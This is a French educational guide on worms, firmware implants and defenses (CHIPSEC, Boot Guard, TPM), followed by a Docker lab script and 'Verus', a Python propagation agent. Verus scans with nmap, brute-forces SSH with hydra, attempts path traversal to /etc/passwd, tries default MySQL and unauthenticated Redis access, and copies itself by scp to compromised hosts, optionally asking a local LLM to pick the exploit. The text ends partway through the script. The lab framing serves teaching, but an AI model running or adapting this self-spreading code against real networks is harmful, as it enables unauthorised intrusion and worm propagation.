Lab Sécurité 2027 — Vers Adaptatifs, Implants Firmware & Contre-Mesures

Red Team Éducation Docker Firmware IA offensive (limites)

Document technique — Édition 2027 · Usage strictement éducatif et en environnement isolé.
⚠️ Avertissement légal et éthique.
Ce document est fourni à des fins éducatives et défensives uniquement. Les techniques décrites doivent être expérimentées exclusivement dans un laboratoire isolé, sur des machines vous appartenant, sans connexion à Internet non contrôlée et sans pont vers votre réseau domestique. Ne testez jamais une cible sans autorisation écrite explicite.
Note sur les sources et les affirmations.
Ce document mêle des faits établis (ver Morris, Stuxnet, LoJax, MoonBounce, BlackLotus…), des observations in-the-wild documentées, et des hypothèses issues de la recherche académique récente. Les hypothèses sont signalées comme telles. Aucun ver IA adaptatif n'a été observé in-the-wild à ce jour — les travaux sur ce sujet sont, à notre connaissance, expérimentaux.

1Le poids de l'histoire — Pourquoi regarder en arrière

L'idée reçue est que la sécurité offensive est un domaine en constante révolution, où seules les dernières techniques comptent. C'est faux. Les principes fondamentaux — propagation, persistance, furtivité — n'ont pas changé. Seuls les vecteurs et les cibles ont évolué.

1.1 Le ver Morris (1988)

Ce programme de 99 lignes a paralysé une partie d'Internet en 1988. Ses méthodes :

Ce ver exploitait des erreurs de configuration et des faiblesses de conception, pas des failles zero-day sophistiquées. Et pourtant, il a infecté environ 6 000 machines — un chiffre considérable pour l'époque.

1.2 Le ver Stuxnet (2010)

Le premier véritable exemple médiatisé d'attaque cyber-physique. Son objectif n'était pas de voler des données, mais de saboter des centrifugeuses dans une installation nucléaire iranienne.

La leçon ? Un système isolé n'est pas invulnérable. Le maillon faible reste souvent l'humain, et les objets connectés sont des ponts potentiels.

2L'approche hybride — Quand le matériel contourne l'OSI

Le modèle OSI est une abstraction ; dans la réalité, un implant matériel peut opérer à plusieurs niveaux simultanément. Un implant matériel court-circuite les défenses logicielles. Un pare-feu ne verra rien si le trafic est capturé physiquement avant d'atteindre la pile TCP/IP. Un antivirus ne détectera rien si la charge malveillante est injectée via un bus matériel.

2.1 Exemples concrets et documentés

Implant / Technique Description Source / Référence
Hak5 O.MG Cable Câble de charge USB malveillant. Exécute des payloads HID via un point d'accès WiFi caché. Persistance mobile lors d'engagements Red Team. Hak5 (produit commercial, présenté en conférences depuis 2019)
USB Rubber Ducky / Digispark Implants USB miniatures exécutant des payloads de keystroke injection à haute vitesse. Classiques du Red Team physique depuis 2010. Hak5, Digistump
Implant réseau sur Raspberry Pi Dispositifs de la taille d'un paquet de cartes, plantés physiquement et contrôlés à distance. Utilisés dans plusieurs affaires documentées, notamment pour cibler des distributeurs de billets (groupe UNC2891). Mandiant (rapport public sur UNC2891)
Faux portefeuilles matériels Cas documentés de portefeuilles crypto contrefaits contenant des composants électroniques modifiés (interception du bus SPI, exfiltration). Documenté par Joe Grand et la communauté hardware (conférences et blogs spécialisés)
Note : Certaines sources circulant sur les réseaux sociaux évoquent des dispositifs très médiatisés (« M.I.A. », « PhantomPi », etc.). Nous ne les citons pas ici car nous n'avons pas pu en vérifier l'existence ou le contenu de manière indépendante. À traiter avec prudence.

2.2 Le lien avec les objets connectés

Les objets connectés sont souvent mal sécurisés (mots de passe par défaut, firmwares non mis à jour) et connectés à Internet. Ils constituent des points d'entrée idéaux. Un implant matériel peut s'y connecter, établir une persistance, et de là, pivoter vers le réseau interne.

3L'état de l'art en 2027 — Menaces APT & IA

3.1 Vers auto-propageants et IA — Une piste de recherche active

L'IA n'est pas seulement un outil pour les défenseurs. Des chercheurs ont publié des preuves de concept expérimentales de vers informatiques pilotés par un modèle de langage local, capables de raisonner pour se propager à travers un réseau. À ce jour, aucun de ces vers n'a été observé in-the-wild. Il s'agit de travaux de recherche, pas de menaces déployées.

Travail de recherche Mécanisme annoncé Statut
Ver auto-propageant piloté par LLM local (travaux publiés en 2024-2025) Utilise un petit LLM local (type Phi-3, Llama 3 8B) hébergé sur les machines compromises pour analyser les cibles et générer des exploits sur mesure. Propagation observée en laboratoire sur plusieurs générations. Preuve de concept expérimentale, pas d'observation in-the-wild
Attaques sur agents LLM Études sur la propagation entre agents conversationnels (écosystèmes type plateformes multi-agents). Recherche académique
Botnets IoT décentralisés Architecture primitive mais résistante au blacklisting grâce à la nature jetable des appareils. Propagation autonome sans contrôle centralisé. Observé in-the-wild depuis plusieurs années (Mirai, variants récents)
Point clé : Les vers assistés par IA décrits dans la littérature n'ont pas de code d'exploit totalement figé — ils peuvent adapter une partie de leur stratégie. Mais cela ne signifie pas qu'ils sont pleinement autonomes ou imprévisibles. Ils restent, dans tous les cas connus, des prototypes de laboratoire.

4Capacités d'implantation firmware — Le niveau le plus profond

Parmi toutes les techniques de persistance, l'implantation dans le firmware est la plus avancée et la plus difficile à contrer. Elle opère en dessous du système d'exploitation, en dessous du disque dur. Un implant firmware correctement placé survit à la réinstallation de l'OS et, dans certains cas, au remplacement du disque dur.

Distinction essentielle. Le mot « firmware » recouvre plusieurs couches bien distinctes, avec des propriétés et des méthodes d'éradication très différentes :
  • NVRAM — variables stockées dans la puce flash, mais logiquement séparées du firmware exécutable.
  • ESP (EFI System Partition) — partition sur le disque, contient les binaires de démarrage.
  • Flash SPI — la puce physique qui contient le firmware UEFI lui-même (code DXE, PEI, etc.).
  • Intel ME / AMD PSP — micro-contrôleurs embarqués, séparés du CPU principal.

Un implant UEFI et un implant SPI flash ne sont pas la même chose : le premier est un code, le second est la puce où ce code réside. Ne pas confondre.

4.1 Les niveaux de persistance

Niveau Emplacement Méthode de nettoyage Survit à la réinstallation OS ?
L1 : NVRAM Boot Entry Variables UEFI NVRAM Effacer les variables NVRAM Non (généralement)
L2 : ESP Infection Partition système EFI (sur le disque) Formater l'ESP / Réinstaller Non
L3 : SPI Flash Implant Puce SPI (firmware UEFI) Reflasher la puce Oui ✓
L4 : Intel ME / AMD PSP Micro-contrôleur embarqué Outils constructeur uniquement Oui ✓ (plus difficile)

Les niveaux L1 et L2 relèvent de la « persistance logicielle ». Les niveaux L3 et L4 relèvent de la « persistance firmware » à proprement parler — nettement plus difficile à éradiquer.

4.2 Les implants firmware in-the-wild documentés

Ces techniques ne sont pas théoriques. Plusieurs familles ont été documentées par des éditeurs de sécurité reconnus.

Implant Attribution (si connue) Technique Documentation
LoJax (2018) Sednit / APT28 (attribué par ESET) Premier rootkit UEFI in-the-wild identifié. Ajout d'un driver DXE malveillant dans la flash SPI. ESET, whitepaper public
MosaicRegressor (2020) Non attribué, artefacts dérivés de code Hacking Team Implant UEFI avec plusieurs modules, dont un dropper persistant. Kaspersky, 2020
MoonBounce (2022) APT41 / Winnti (attribué par Kaspersky) Modifie le CORE_DXE existant plutôt que d'ajouter un module. Hooks sur des fonctions de boot services. Kaspersky, 2022
BlackLotus (2023) Non attribué Bootkit UEFI capable de contourner Secure Boot sur Windows 11 mis à jour (exploite CVE-2022-21894). ESET, 2023
CosmicStrand (2022) Non attribué, actif depuis 2016 selon Kaspersky Rootkit UEFI ciblant des particuliers en Asie et au Moyen-Orient. Kaspersky, 2022
MoonBounce : une avancée notable. Contrairement à LoJax ou MosaicRegressor qui ajoutent un module DXE, MoonBounce patche le CORE_DXE existant. Cette approche est plus furtive : elle ne crée pas de nouvel exécutable à détecter, mais installe des hooks inline sur des fonctions de boot services.

4.3 Comment fonctionne un implant SPI flash

Étape 1 — Atteindre la flash SPI

La flash SPI est protégée par des mécanismes matériels :

Les voies de contournement connues et documentées incluent :

Étape 2 — Modifier le firmware

Une fois l'accès obtenu, l'attaquant peut :

Étape 3 — Persister et se propager

L'implant firmware peut :

4.4 Outils d'analyse et de détection

CHIPSEC (Intel)

CHIPSEC est le framework open-source de référence pour auditer l'intégrité du firmware et détecter les rootkits UEFI. Il opère à trois niveaux :

  1. Niveau registres du chipset : vérifie si les protections matérielles sont activées (bit FLOCKDN).
  2. Niveau firmware UEFI : dump de la flash SPI, parsing des volumes et modules, comparaison avec une image de référence.
  3. Niveau configuration de boot : vérifie Secure Boot, Intel Boot Guard, scripts S3.
Commandes CHIPSEC essentielles
# Vérifier les protections de la flash SPI
chipsec_util.py spi dump bios_region.bin

# Scanner les modules UEFI pour détecter des menaces connues
chipsec_util.py uefi scan

# Vérifier l'état de Secure Boot
chipsec_util.py uefi secureboot

# Analyser les variables NVRAM
chipsec_util.py uefi var-list

# Créer une whitelist de référence (image propre)
chipsec_util.py uefi whitelist create --output baseline.json

# Comparer un dump suspect avec la baseline
chipsec_util.py uefi whitelist compare --baseline baseline.json --input suspect.bin

CHIPSEC peut détecter des familles connues, dont LoJax, ThinkPwn, MosaicRegressor et certaines modifications de type MoonBounce.

Autres outils

Outil Usage
UEFITool / UEFIExtract Parsing de firmware UEFI, extraction des drivers DXE
Firmware Analysis Toolkit (FAT) Analyse automatisée de firmware, émulation QEMU
Scanners antivirus UEFI Kaspersky, ESET et d'autres éditeurs proposent des modules de scan firmware
TPM 2.0 + Measured Boot Utilisation des logs TCG pour détecter des altérations de la chaîne de boot

4.5 Contre-mesures firmware

Défense en profondeur : Aucune mesure unique ne suffit. La protection contre les implants firmware nécessite une approche multicouche.
Mesure Description Efficacité
Intel Boot Guard / AMD PSB Vérification cryptographique du firmware au démarrage. Ligne de défense la plus forte contre les implants SPI. Très élevée (si activée et correctement configurée)
Verrouillage de la flash SPI (FLOCKDN) Empêche l'écriture dans la flash après le POST. Élevée (si activé)
Secure Boot avec dbx à jour Empêche le chargement de bootloaders non signés. Mettre à jour régulièrement la base de révocation (dbx). Moyenne (contournable — cf. BlackLotus)
TPM 2.0 + Measured Boot Mesure chaque composant du boot et stocke les mesures dans le TPM. Élevée (détection a posteriori)
Monitoring d'intégrité firmware Solutions dédiées (Eclypsium, modules CHIPSEC) qui vérifient périodiquement l'intégrité. Élevée
Contrôle physique Bloqueurs de ports USB, inspection des équipements, contrôle des accès aux salles serveurs. Variable
Réflashing régulier Mettre à jour le firmware depuis une source constructeur de confiance. Élevée (si la source est propre)
Secure Boot seul ne suffit pas. MoonBounce contourne Secure Boot car il modifie les réflexions en mémoire des composants de boot après leur chargement. Les contrôles d'intégrité plus forts (Boot Guard, TPM, monitoring firmware) sont plus pertinents.

4.6 Pourquoi c'est important pour votre lab

Intégrer l'analyse firmware dans votre laboratoire vous permet de :

Dans le lab Docker : Les conteneurs ne peuvent pas simuler un implant SPI flash (pas d'accès matériel). Pour expérimenter CHIPSEC, vous devez utiliser une machine physique dédiée ou une VM avec passthrough de firmware (QEMU avec OVMF). Le lab Docker sert à simuler les vecteurs d'attaque réseau et les pivots, pas la couche matérielle.

5Le laboratoire Docker — Script de création

Ce script Bash crée un laboratoire isolé avec Docker Compose. Il déploie un réseau segmenté avec :

Prérequis : Docker ≥ 20.10, Docker Compose ≥ 2.30. Lancez ce script sur une machine dédiée, jamais sur votre poste de travail principal avec un accès Internet non contrôlé.
lab-securite-2027.sh
#!/bin/bash
# ============================================================
# LAB SÉCURITÉ OFFENSIVE 2027 — ENVIRONNEMENT ISOLÉ
# ============================================================
# Avertissement : Ce script est fourni à des fins éducatives.
# Ne l'exécutez que sur une machine qui vous appartient et
# dans un environnement réseau isolé.
# ============================================================

set -euo pipefail

LAB_DIR="${HOME}/lab-securite-2027"
DOCKER_NETWORK="lab-net-2027"
SUBNET="172.28.0.0/16"

# --- Vérifications ---
if ! command -v docker &> /dev/null; then
    echo "[!] Docker n'est pas installé. Installez-le avant de continuer."
    exit 1
fi
if ! docker compose version &> /dev/null; then
    echo "[!] Docker Compose v2 n'est pas disponible."
    exit 1
fi

echo "[*] Création du répertoire : ${LAB_DIR}"
mkdir -p "${LAB_DIR}"
cd "${LAB_DIR}"

# --- Réseau isolé ---
echo "[*] Création du réseau Docker isolé : ${DOCKER_NETWORK}"
if ! docker network inspect "${DOCKER_NETWORK}" &> /dev/null; then
    docker network create \
        --driver bridge \
        --subnet="${SUBNET}" \
        "${DOCKER_NETWORK}"
else
    echo "[i] Le réseau ${DOCKER_NETWORK} existe déjà."
fi

# --- docker-compose.yml ---
cat > docker-compose.yml <<'EOF'
services:
  kali:
    image: kalilinux/kali-rolling:latest
    container_name: lab-kali
    networks:
      - lab-net
    tty: true
    stdin_open: true
    command: /bin/bash
    restart: unless-stopped
    cap_add:
      - NET_ADMIN
      - NET_RAW

  web-vuln:
    image: vulnerables/web-dvwa:latest
    container_name: lab-dvwa
    networks:
      - lab-net
    ports:
      - "127.0.0.1:8080:80"
    environment:
      - MYSQL_ROOT_PASSWORD=root
    restart: unless-stopped

  ssh-vuln:
    image: linuxserver/openssh-server:latest
    container_name: lab-ssh
    networks:
      - lab-net
    ports:
      - "127.0.0.1:2222:2222"
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Europe/Paris
      - SUDO_ACCESS=true
      - PASSWORD_ACCESS=true
      - USER_PASSWORD=password123
      - USER_NAME=labuser
    restart: unless-stopped

  iot-camera:
    image: linuxserver/openssh-server:latest
    container_name: lab-iot-camera
    networks:
      - lab-net
    ports:
      - "127.0.0.1:8081:22"
    environment:
      - PUID=1000
      - PGID=1000
      - USER_NAME=camera
      - USER_PASSWORD=camera123
    restart: unless-stopped

  iot-thermostat:
    image: nginx:alpine
    container_name: lab-iot-thermostat
    networks:
      - lab-net
    ports:
      - "127.0.0.1:8082:80"
    restart: unless-stopped

  splunk:
    image: splunk/splunk:latest
    container_name: lab-splunk
    networks:
      - lab-net
    ports:
      - "127.0.0.1:8001:8000"
      - "127.0.0.1:8088:8088"
    environment:
      - SPLUNK_START_ARGS=--accept-license
      - SPLUNK_PASSWORD=Chang3d!
    restart: unless-stopped

networks:
  lab-net:
    external: true
    name: lab-net-2027
EOF

# --- Démarrage ---
echo "[*] Démarrage des conteneurs..."
docker compose up -d

# --- Résumé ---
echo ""
echo "============================================================"
echo " LABORATOIRE 2027 PRÊT"
echo "============================================================"
echo ""
echo " Services accessibles depuis l'hôte (127.0.0.1) :"
echo "   - DVWA (web vulnérable)     : http://127.0.0.1:8080"
echo "   - SSH (serveur vulnérable)  : ssh labuser@127.0.0.1 -p 2222"
echo "   - IoT Caméra (SSH)          : ssh camera@127.0.0.1 -p 8081"
echo "   - IoT Thermostat (web)      : http://127.0.0.1:8082"
echo "   - Splunk (logs)             : http://127.0.0.1:8001"
echo "     Login : admin / Chang3d!"
echo ""
echo " Machine d'attaque Kali :"
echo "   docker exec -it lab-kali /bin/bash"
echo ""
echo " Outils recommandés dans Kali :"
echo "   - nmap, hydra, sqlmap, metasploit"
echo "   - chipsec (pip install chipsec) pour l'analyse firmware"
echo ""
echo " Arrêt et suppression :"
echo "   cd ${LAB_DIR} && docker compose down"
echo ""
echo "============================================================"
echo " RAPPEL : Ne l'exposez pas sur Internet."
echo "============================================================"

6Tester votre lab — Verus, agent de propagation automatisé

Verus est un script éducatif conçu pour démontrer les principes de propagation automatisée dans un environnement de laboratoire isolé. Il est qualifié d'« adaptatif » au sens restreint : il ajuste son choix de vulnérabilité en fonction de la cible, mais il ne génère pas de stratégie inédite et ne modifie pas sa logique en cas d'échec.

Ce que Verus est : un agent de propagation automatisé avec sélection de stratégie — statique en mode autonome, assistée par LLM en mode IA.

Ce que Verus n'est pas :
  • Ce n'est pas un ver IA adaptatif au sens de la littérature académique.
  • Il ne génère pas de stratégies d'exploitation inédites.
  • Il ne modifie pas sa logique de propagation en cas d'échec — il passe simplement à la cible suivante.
  • L'IA, quand elle est activée, n'intervient que sur une seule décision (le choix de la vulnérabilité).

Le reste de la chaîne (reconnaissance, exécution, propagation) est déterministe et identique dans les deux modes.

Verus fonctionne selon deux modes :

Objectif pédagogique : Démontrer que les techniques de propagation automatisée sont pleinement fonctionnelles sans IA. Un script de 200 lignes, des outils standards (nmap, hydra, curl) et un lab mal configuré suffisent à compromettre plusieurs cibles.
⚠️ Rappel : Les scripts ci-dessous utilisent des appels subprocess réels (nmap, hydra, sqlmap). Ils sont destinés exclusivement à un lab local isolé, sans accès Internet, sur des machines vous appartenant.

6.1 Architecture de Verus

Phase Module Mode autonome Mode IA
1. Reconnaissance Reconnaissance Scan nmap + parsing Identique
2. Sélection de vulnérabilité Exploitation._select_vulnerability_* Dictionnaire statique + score de confiance Appel LLM + fallback autonome
3. Exploitation Exploitation.exploit_host subprocess (hydra, curl, redis-cli, mysql) Identique
4. Propagation Propagation.propagate Copie SSH de verus.py Identique
5. Logging Logger JSON structuré Identique + source de décision

6.2 Arborescence du projet

lab-securite-2027/
├── verus/
│   ├── verus.py          # Script principal
│   ├── llm.py            # Interface Ollama/Llama 3 (optionnel)
│   ├── config.json       # Configuration
│   └── verus_log.json    # Log généré à l'exécution

6.3 llm.py — Interface IA optionnelle

verus/llm.py
#!/usr/bin/env python3
"""
llm.py — Interface optionnelle avec Ollama/Llama 3.

BRAS OPTIONNEL. Si Ollama n'est pas disponible, verus.py bascule
automatiquement en mode autonome. Le ver reste pleinement fonctionnel.
"""

import json
import subprocess
from typing import Optional, Dict, Any

try:
    import ollama
    OLLAMA_AVAILABLE = True
except ImportError:
    OLLAMA_AVAILABLE = False


class LLMAssistant:
    """Assistant IA local via Ollama. Couche de raisonnement optionnelle."""

    def __init__(self, model: str = "llama3", host: str = "http://localhost:11434"):
        self.model = model
        self.host = host
        self.available = False
        self._check_availability()

    def _check_availability(self) -> None:
        if not OLLAMA_AVAILABLE:
            print("[LLM] Module 'ollama' non installé. Mode autonome activé.")
            return
        try:
            result = subprocess.run(
                ["ollama", "list"],
                capture_output=True, text=True, timeout=5
            )
            if result.returncode == 0 and self.model in result.stdout:
                self.available = True
                print(f"[LLM] Ollama disponible avec le modèle '{self.model}'.")
            else:
                print(f"[LLM] Modèle '{self.model}' non trouvé. "
                      f"Exécutez: ollama pull {self.model}")
        except (FileNotFoundError, subprocess.TimeoutExpired):
            print("[LLM] Ollama non disponible. Mode autonome activé.")

    def reason_about_target(self, target_info: Dict[str, Any]) -> Optional[Dict]:
        """Demande au LLM d'analyser une cible et de suggérer une stratégie."""
        if not self.available:
            return None

        prompt = f"""Tu es un assistant d'audit de sécurité dans un laboratoire isolé.
Analyse les informations suivantes sur une cible réseau et suggère
la meilleure stratégie pour tester sa sécurité.

Informations sur la cible :
- IP : {target_info.get('ip', 'inconnue')}
- Ports ouverts : {target_info.get('ports', [])}
- Services détectés : {target_info.get('services', {})}
- OS : {target_info.get('os', 'inconnu')}

Réponds en JSON avec les clés suivantes :
- "vulnerability": la vulnérabilité la plus prometteuse
- "exploit_method": la méthode d'exploitation suggérée
- "confidence": un score de 0 à 100
- "reasoning": une explication courte

Réponds UNIQUEMENT avec le JSON, sans texte autour."""

        try:
            response = ollama.chat(
                model=self.model,
                messages=[{"role": "user", "content": prompt}]
            )
            content = response['message']['content'].strip()
            if content.startswith("```"):
                content = content.split("\n", 1)[1].rsplit("```", 1)[0]
            parsed = json.loads(content)
            print(f"[LLM] Analyse : {parsed.get('reasoning', 'N/A')}")
            return parsed
        except Exception as e:
            print(f"[LLM] Erreur d'analyse : {e}. Bascule en mode autonome.")
            return None

6.4 verus.py — Agent principal

Le script utilise subprocess pour appeler réellement nmap, hydra, curl, redis-cli et mysql dans le lab. Les sorties sont parsées pour extraire les informations pertinentes.

verus/verus.py
#!/usr/bin/env python3
"""
verus.py — Agent de propagation automatisé (labo isolé).

MODES :
  --autonome    : Règles statiques uniquement (SANS IA)
  --ia          : Assistance Llama 3 optionnelle (fallback autonome)

AVERTISSEMENT : Usage strictement éducatif en laboratoire isolé.
"""

import argparse
import ipaddress
import json
import os
import random
import subprocess
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from datetime import datetime
from typing import List, Dict, Optional

try:
    from llm import LLMAssistant
    LLM_MODULE_AVAILABLE = True
except ImportError:
    LLM_MODULE_AVAILABLE = False


# ============================================================
# CONFIGURATION
# ============================================================

@dataclass
class VerusConfig:
    network: str = "172.28.0.0/16"
    max_hosts: int = 30
    timeout: float = 3.0
    delay: float = 0.5
    use_ai: bool = False
    llm_model: str = "llama3"
    log_file: str = "verus_log.json"
    ssh_user: str = "labuser"
    ssh_pass: str = "password123"


# ============================================================
# PHASE 1 : RECONNAISSANCE (nmap réel)
# ============================================================

class Reconnaissance:

    PORTS = "22,80,443,3306,5432,6379,8080,2222,8082"

    def __init__(self, config: VerusConfig):
        self.config = config
        self.discovered_hosts: List[Dict] = []

    def scan_host(self, ip: str) -> Optional[Dict]:
        """Scan nmap réel sur un hôte unique."""
        host_info = {
            "ip": ip, "ports": [], "services": {},
            "os": "inconnu", "vulns": []
        }

        try:
            result = subprocess.run(
                ["nmap", "-sV", "-Pn", "-p", self.PORTS,
                 "--host-timeout", f"{int(self.config.timeout * 10)}s", ip],
                capture_output=True, text=True, timeout=30
            )
            output = result.stdout

            for line in output.splitlines():
                if "/tcp" in line and "open" in line:
                    parts = line.split()
                    port = int(parts[0].split("/")[0])
                    service = parts[2] if len(parts) > 2 else "unknown"
                    version = " ".join(parts[3:]) if len(parts) > 3 else ""
                    host_info["ports"].append(port)
                    host_info["services"][port] = f"{service} {version}".strip()

            if host_info["ports"]:
                print(f"  [+] {ip} : {host_info['services']}")
                self.discovered_hosts.append(host_info)
                return host_info
        except (subprocess.TimeoutExpired, FileNotFoundError) as e:
            print(f"  [!] Erreur nmap sur {ip} : {e}")
        return None

    def scan_network(self) -> List[Dict]:
        print(f"[*] Scan du réseau {self.config.network}...")
        network = ipaddress.ip_network(self.config.network, strict=False)
        hosts = [str(ip) for ip in network.hosts()]
        random.shuffle(hosts)
        targets = hosts[:self.config.max_hosts]

        print(f"[*] {len(targets)} hôtes à scanner avec nmap...")

        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = {executor.submit(self.scan_host, ip): ip for ip in targets}
            for future in as_completed(futures):
                try:
                    future.result()
                except Exception:
                    pass

        print(f"[*] {len(self.discovered_hosts)} hôte(s) avec services détectés.")
        return self.discovered_hosts


# ============================================================
# PHASE 2 : EXPLOITATION (hydra, curl, redis-cli, mysql réels)
# ============================================================

class Exploitation:

    VULNS_CONNUES = {
        "ssh": [
            {"name": "SSH-Faible-MotDePasse", "method": "hydra_ssh",
             "confidence": 60, "tool": "hydra"},
        ],
        "http": [
            {"name": "HTTP-Directory-Traversal", "method": "curl_path_traversal",
             "confidence": 30, "tool": "curl"},
            {"name": "HTTP-Admin-Panel", "method": "curl_admin",
             "confidence": 25, "tool": "curl"},
        ],
        "mysql": [
            {"name": "MySQL-Faible-Root", "method": "weak_credentials",
             "confidence": 50, "tool": "mysql"},
        ],
        "redis": [
            {"name": "Redis-NoAuth", "method": "redis_unauth",
             "confidence": 80, "tool": "redis-cli"},
        ],
    }

    def __init__(self, config: VerusConfig, llm=None):
        self.config = config
        self.llm = llm
        self.exploited_hosts: List[Dict] = []

    def _select_vulnerability_autonome(self, host: Dict) -> Optional[Dict]:
        candidates = []
        for port, service in host.get("services", {}).items():
            service_lower = service.lower()
            for key, vulns in self.VULNS_CONNUES.items():
                if key in service_lower:
                    for vuln in vulns:
                        candidates.append({**vuln, "port": port,
                                           "service": service,
                                           "source": "autonome"})
        if not candidates:
            return None
        candidates.sort(key=lambda x: x["confidence"], reverse=True)
        return random.choice(candidates[:3])

    def _select_vulnerability_ia(self, host: Dict) -> Optional[Dict]:
        if not self.llm or not self.llm.available:
            return self._select_vulnerability_autonome(host)
        print(f"  [IA] Analyse LLM de {host['ip']}...")
        decision = self.llm.reason_about_target(host)
        if decision:
            return {
                "name": decision.get("vulnerability", "IA-Suggestion"),
                "method": decision.get("exploit_method", "unknown"),
                "confidence": decision.get("confidence", 50),
                "port": host["ports"][0] if host["ports"] else None,
                "service": list(host["services"].values())[0] if host["services"] else "unknown",
                "source": "ia",
                "reasoning": decision.get("reasoning", ""),
            }
        return self._select_vulnerability_autonome(host)

    def _execute_payload(self, vuln: Dict, host: Dict) -> Dict:
        ip = host["ip"]
        port = vuln.get("port", 22)
        method = vuln["method"]
        result = {"stdout": "", "returncode": -1, "cmd": ""}

        try:
            if method == "hydra_ssh":
                cmd = ["hydra", "-l", self.config.ssh_user,
                       "-p", self.config.ssh_pass,
                       "-f", "-t", "4",
                       f"ssh://{ip}:{port}"]
                result["cmd"] = " ".join(cmd)
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=30)
                result["stdout"] = r.stdout[-2000:]
                result["returncode"] = r.returncode

            elif method == "redis_unauth":
                cmd = ["redis-cli", "-h", ip, "-p", str(port), "INFO"]
                result["cmd"] = " ".join(cmd)
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=10)
                result["stdout"] = r.stdout[:500]
                result["returncode"] = r.returncode

            elif method in ("curl_path_traversal", "curl_admin"):
                url_suffix = "/../../../../etc/passwd" if method == "curl_path_traversal" else "/admin"
                cmd = ["curl", "-s", "-m", "5",
                       f"http://{ip}:{port}{url_suffix}"]
                result["cmd"] = " ".join(cmd)
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=10)
                result["stdout"] = r.stdout[:500]
                result["returncode"] = r.returncode

            elif method == "weak_credentials":
                cmd = ["mysql", "-h", ip, "-u", "root", "-proot",
                       "-e", "SELECT 1;"]
                result["cmd"] = " ".join(cmd)
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=10)
                result["stdout"] = r.stdout[:200]
                result["returncode"] = r.returncode
        except (subprocess.TimeoutExpired, FileNotFoundError) as e:
            result["stdout"] = f"Erreur: {e}"

        return result

    def exploit_host(self, host: Dict) -> Optional[Dict]:
        ip = host["ip"]
        print(f"[*] Exploitation de {ip}...")

        if self.config.use_ai and self.llm:
            vuln = self._select_vulnerability_ia(host)
        else:
            vuln = self._select_vulnerability_autonome(host)

        if not vuln:
            print(f"  [-] Aucune vulnérabilité applicable pour {ip}.")
            return None

        print(f"  [+] Cible : {vuln['name']} "
              f"(confiance={vuln['confidence']}%, source={vuln['source']})")

        payload_result = self._execute_payload(vuln, host)

        success = (
            payload_result["returncode"] == 0 and
            ("password" in payload_result["stdout"].lower() or
             "login" in payload_result["stdout"].lower() or
             "redis_version" in payload_result["stdout"].lower() or
             "root:" in payload_result["stdout"])
        )

        result = {
            "ip": ip,
            "vulnerability": vuln["name"],
            "method": vuln["method"],
            "source": vuln["source"],
            "confidence": vuln["confidence"],
            "cmd": payload_result["cmd"],
            "output": payload_result["stdout"][:1000],
            "success": success,
            "timestamp": datetime.now().isoformat(),
        }

        if success:
            print(f"  [+] SUCCÈS sur {ip}")
            self.exploited_hosts.append(result)
        else:
            print(f"  [-] Échec sur {ip} (code={payload_result['returncode']})")

        return result

    def exploit_all(self, hosts: List[Dict]) -> List[Dict]:
        print(f"\n[*] Phase d'exploitation — {len(hosts)} cible(s)...")
        results = []
        for host in hosts:
            r = self.exploit_host(host)
            if r:
                results.append(r)
            time.sleep(self.config.delay)
        print(f"[*] {len(self.exploited_hosts)}/{len(hosts)} succès.")
        return results


# ============================================================
# PHASE 3 : PROPAGATION
# ============================================================

class Propagation:
    def __init__(self, config: VerusConfig):
        self.config = config
        self.propagated: List[Dict] = []

    def propagate(self, exploited_hosts: List[Dict]) -> List[Dict]:
        print(f"\n[*] Propagation — {len(exploited_hosts)} hôte(s) compromis...")
        script_path = os.path.abspath(__file__)

        for host in exploited_hosts:
            if not host.get("success"):
                continue

            try:
                cmd = [
                    "sshpass", "-p", self.config.ssh_pass,
                    "scp",
                    "-o", "StrictHostKeyChecking=no",
                    "-o", "ConnectTimeout=5",
                    "-P", "2222",
                    script_path,
                    f"{self.config.ssh_user}@{host['ip']}:/tmp/verus.py"
                ]
                r = subprocess.run(cmd, capture_output=True, text=True,
                                   timeout=15)
                success = r.returncode == 0
            except (subprocess.TimeoutExpired, FileNotFoundError):
                success = False

            self.propagated.append({
                "target": host["ip"],
                "success": success,
                "timestamp": datetime.now().isoformat(),
            })
            print(f"  {'[+]' if success else '[-]'} Propagation vers {host['ip']}")

        return self.propagated


# ============================================================
# LOGGER
# ============================================================

class Logger:
    def __init__(self, log_file: str = "verus_log.json"):
        self.log_file = log_file
        self.data = {"start_time": None, "end_time": None, "config": {},
                     "discovered_hosts": [], "exploited_hosts": [],
                     "propagated": []}

    def start(self, config: VerusConfig) -> None:
        self.data["start_time"] = datetime.now().isoformat()
        self.data["config"] = {
            "network": config.network, "max_hosts": config.max_hosts,
            "use_ai": config.use_ai,
            "llm_model": config.llm_model if config.use_ai else None,
        }

    def record_discovered(self, h): self.data["discovered_hosts"] = h
    def record_exploited(self, h): self.data["exploited_hosts"] = h
    def record_propagated(self, h): self.data["propagated"] = h

    def finish(self) -> None:
        self.data["end_time"] = datetime.now().isoformat()
        with open(self.log_file, "w", encoding="utf-8") as f:
            json.dump(self.data, f, indent=2, ensure_ascii=False)
        print(f"\n[*] Log sauvegardé : {self.log_file}")

    def summary(self) -> str:
        discovered = len(self.data["discovered_hosts"])
        exploited = len([h for h in self.data["exploited_hosts"] if h.get("success")])
        propagated = len([p for p in self.data["propagated"] if p.get("success")])
        mode = "IA (Llama 3)" if self.data["config"].get("use_ai") else "AUTONOME"
        return f"""
============================================================
 RÉSUMÉ — VERUS
============================================================
 Mode                : {mode}
 Réseau cible        : {self.data['config']['network']}
 Hôtes découverts    : {discovered}
 Hôtes exploités     : {exploited}
 Réplications        : {propagated}
============================================================"""


# ============================================================
# MAIN
# ============================================================

def parse_args():
    p = argparse.ArgumentParser(description="verus.py — Agent de propagation automatisé")
    p.add_argument("--autonome", action="store_true")
    p.add_argument("--ia", action="store_true")
    p.add_argument("--network", default="172.28.0.0/16")
    p.add_argument("--max-hosts", type=int, default=30)
    p.add_argument("--timeout", type=float, default=3.0)
    p.add_argument("--delay", type=float, default=0.5)
    p.add_argument("--log", default="verus_log.json")
    p.add_argument("--llm-model", default="llama3")
    p.add_argument("--ssh-user", default="labuser")
    p.add_argument("--ssh-pass", default="password123")
    return p.parse_args()


def main():
